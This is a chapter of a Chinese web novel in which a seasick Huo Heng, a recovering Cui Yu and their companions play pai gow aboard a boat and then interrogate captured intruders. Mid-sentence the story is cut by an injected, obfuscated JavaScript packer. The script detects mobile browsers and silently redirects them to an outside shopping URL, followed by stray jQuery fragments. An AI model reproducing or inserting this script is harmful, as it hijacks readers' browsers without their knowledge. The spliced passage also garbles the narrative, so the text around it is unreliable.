84.一起玩牌九
作品:《今天也在努力翻案吗》 船在水上走了一天一夜。
这段时间里,霍衡把这辈子没遭过的罪全遭了一遍。
船老大还说这段水路最是平稳,霍衡表示极其不赞同,他现在只能趴在船舷上干呕,胃里什么东西都吐不出来了。
这天傍晚,荀先生照例进舱给崔昱施针。崔昱还在昏睡,但比刚上船那会儿好了一些。
荀先生把金针一根根扎进去,霍衡趴在门口,有气无力地看着,觉得自己这条命怕是也要交代在这条船上了。
“先生,”他有气无力地开口,“他什么时候能醒?”
荀先生头也不回:“该醒的时候自然会醒。”
“您就会说这一句。”
“那就闭嘴。”
霍衡识趣地闭上了嘴。
荀先生收起金针,又给崔昱诊了诊脉,点了点头,起身出去了。临走前扔下一句:“今晚应该能醒,守着吧。”
霍衡立刻来了精神,等了约莫半个时辰,霍衡的胃又开始翻腾,他强忍着。过了一会儿,他实在忍不住了,捂着嘴就要往外冲。
就在这时,崔昱的手动了动。
霍衡脚步一顿。
只见崔昱的眉头微微蹙起,像是在挣扎着什么。然后,眼睛缓缓睁开。
起初有些涣散,他盯着头顶的船舱看了好一会儿,慢慢才有了焦距。他偏过头,先看见宋弋红红的眼眶,又看见霍衡那张惨白的脸。
“……你脸怎么这么白?”他的声音沙哑,眸光中满是难以置信。
霍衡愣了一下,想说点什么,胃里忽然一阵翻涌,他捂着嘴就要往外冲。
崔昱看着他这副模样,先是疑惑,然后像是明白了什么。
“你晕船啊?”
霍衡没理他,趴在船舷边大吐特吐。吐完接过宋弋贴心递上的帕子和温水。
崔昱看着他,闷闷地笑出声。
霍衡被他笑得脸上挂不住,恼羞成怒:“笑什么笑!有什么好笑的。你……你们,不许取笑我。”
荀先生听见动静推门进来,看见崔昱醒了,又看见霍衡那张白里透红的脸,面无表情地说了一句:“醒了就好。至于你,该吐吐,别忍着。”
霍衡:“……”
崔昱笑够了,靠在枕上喘气,偏头看着霍衡,声音还是沙沙的,带着笑意:“霍三爷,你怎么不骑马回去?”
霍衡瞪了他一眼,懒得搭理他。
崔昱身体刚刚缓过来,还虚弱得很,他没什么精神,还没说几句话,倦意又翻卷上来。
他靠着靠枕,眼睛微微阖上,宋弋给他盖好被子,“睡吧,有我们在呢。”
崔昱懒懒地“嗯”了一声,就着宋弋的手躺了下去。
第二天,崔昱精神好了许多。虽然病中只能吃些清粥小菜,面色也红润不少。
他靠着床头的软枕,虽然还不能下床,但总算不像前几天那样死气沉沉的了。
荀先生把过脉,终于给了他一个好脸色看。喝过药,崔昱看了看趴在桌上蔫头耷脑的霍衡,忽然开口:“英勇神武的霍三爷,还晕着呢?”
霍衡有气无力地抬起头,他整个人都瘦了一圈了,哀怨地看着崔昱,“你醒了就消停点。”
崔昱笑了一下,目光落在宋弋身上,见他正摆弄着一副不知从哪里翻出来的牌九,大概是船上伙计们闲暇时玩的。
“这船上还有这个?”崔昱问。
宋弋抬起头,看他感兴趣,很有耐心地解释道:“船老大给的,说路上无聊,可以玩玩。崔昱,你玩不玩?”
崔昱手痒痒,虽然还扎着针,但也阻碍不了他,“问问子权。”
霍衡立刻摆手:“不玩,我头晕。”
“头晕正好,”崔昱慢悠悠地说,“输了就说是晕船闹的,这样就不会丢人啦。”
霍衡没好气地瞪他一眼,“笑话,我怎么可能会输牌?什么意思,看不起我!”
崔昱耸耸肩,满脸狡黠,“我可没有这样说。”
宋弋已经把牌九摊开了,兴致勃勃地洗牌。他牌九玩得不错,只是平日里没什么机会玩。
荀先生抽完烟回来,看见这阵势,也凑了过来,“玩什么?”
宋弋抬头,热情邀请:“荀先生也来?”
“好!”荀先生二话不说,搬了把椅子坐下。
霍衡看看这个,又看看那个,发现自己被孤立了,只好磨磨蹭蹭地挪过来,嘴上还嘟囔:“我就玩两把,只玩两把,要不是看你们可怜,我才不跟你们玩,头晕得很,也算是舍命陪君子了!”
宋弋麻利地码好牌,桌子架在床边,四个人各坐一方。
第一局开始,宋弋手气极好,摸到的牌一张比一张顺。
霍衡摸了一张牌,看了一眼,脸更白了。
荀先生慢悠悠地摸牌,面无表情,看不出好坏。几轮下来,宋弋把牌一摊,喜滋滋地说:“又赢了!”
霍衡低头看自己的牌,沉默了一会儿,默默把牌扣回去。
宋弋收了银子,又洗牌码牌。这次,霍衡的手气似乎好了一些,摸了几张不错的牌,脸色也稍微好看了点。
他偷看了一眼宋弋的牌,又偷看了一眼荀先生的牌,被荀先生抓了个正着。
“看什么呢?”荀先生眼皮都没抬。
霍衡理直气壮:“我看看你们出老千没有。”
“就你这样的,用不着出老千。”
霍衡气得说不出话。
又打了几局,宋弋赢了两把,荀先生赢了一把,崔昱赢了两把。
霍衡一次也没赢,口袋里的银子都要抖搂出去完了。这局打完,还是惨败,“不玩了,你们欺负人。”
“谁欺负你了?”
“你们都会算牌,就我不会。”霍衡理直气壮。
荀先生慢悠悠地洗牌:“不会算牌算谁的?算你倒霉!”
霍衡被噎得说不出话,崔昱靠在枕上笑,笑得咳了两声,宋弋赶紧给他倒水。
霍衡更气了,指着崔昱说:“你看看,你都把他笑咳嗽了!”
荀先生瞥他一眼,慢悠悠开口揶揄,“你少说两句,他就不咳了。”
又开了一局,霍衡手气忽然好了起来,摸的牌一张比一张顺,脸上的得意都快藏不住了。
最后一轮,霍衡把牌一摊,声音都洪亮了:“赢了!”
宋弋立刻鼓掌:“霍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365773|193916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叔厉害。”
崔昱也笑吟吟跟着捧场,“果然是天纵奇才。”
霍衡被夸得飘飘然,又觉得哪里不对,看了崔昱一眼:“你是不是在笑话我?”
崔昱一脸真诚:“怎么会?我是真心佩服。”
霍衡狐疑地看了他半天,没看出破绽,哼了一声,又开始洗牌。
日头渐渐偏西,崔昱精力不济,玩得累了,他斜斜靠在软枕之上,眼皮开始打架。
宋弋见了,知道他困了,把牌九收了,轻声道:“睡会儿吧。”
崔昱“嗯”了一声,声音已经含含糊糊的,眼睛一阖就沉了下去。
宋弋给他掖好被角,轻手轻脚地退到外间。荀先生也走了出来,睡在躺椅上抽旱烟。外面吹着河风,很是凉快。
舱里安静下来。
霍衡趴在桌上,脸埋进胳膊里,也不知道是真睡着了还是在闭目养神,河水哗啦哗啦地响,实在是催人犯困。
宋弋也打起哈欠来。
就在这时,船身忽然轻轻一震,像有什么东西搭上了船沿。
其实这动静微乎其微,但是霍衡等人毕竟是内家高手,任何轻微的动静,都瞒不过他们的耳朵。
“弋儿。”霍衡忽然开口。
宋弋抬起头,警惕起来。
此时,船老大敲了敲舱门,他声音压得低,“三爷?抓了几只耗子。”
霍衡抬起头,扯了扯衣襟,大步走过去拉开门。
门外站着船老大和几个伙计,船老大手里还攥着一个黑衣人,那人被反剪着双手,嘴里塞着破布,满脸都是水。
船老大把人往前一推,那人“扑通”一声跪在甲板上。他身后几个伙计也押着两个人,都五花大绑,嘴里塞着东西,呜呜地挣扎。
“在水里捞上来的,”船老大抹了把脸上的汗,“一共三个。”
霍衡蹲下身,捏住那人的下巴,把嘴里的破布拽出来。那人喘了口气,刚要开口,霍衡一巴掌扇在他脸上。
“想好了再说。”
那人被打懵了,愣愣地看着霍衡。
“谁派你们来的?”
那人咬着牙不说话。霍衡也不急,站起身,在甲板上踱了两步,忽然停下来,回头看他。
“不说也行。”他似笑非笑地撸起袖子,“让你见识见识……”
那人的脸色变了,嘴唇哆嗦了一下。他回头看了一眼身后的同伴,那两个已经被伙计们按在甲板上,连挣扎的力气都没有了。
“是……是钱家……”他的声音发抖,“家主让我们来的……”
霍衡“哦”了一声,拖长了调子:“钱家?”
“是是是,”那人拼命点头,“家主说,说你们抢了我们东西……”
“抢了你们东西?”霍衡挑眉,“什么东西?”
那人一愣,显然没想到会这么问,支支吾吾地说:“就……就是东西……”
“回去告诉你们家主,”霍衡站起身,拍了拍手,“东西确实在船上,让他亲自来拿。”
那人愣了一下,以为自己听错了。霍衡却没再看他,冲船老大挥了挥手:“放了吧。”
“放了?”

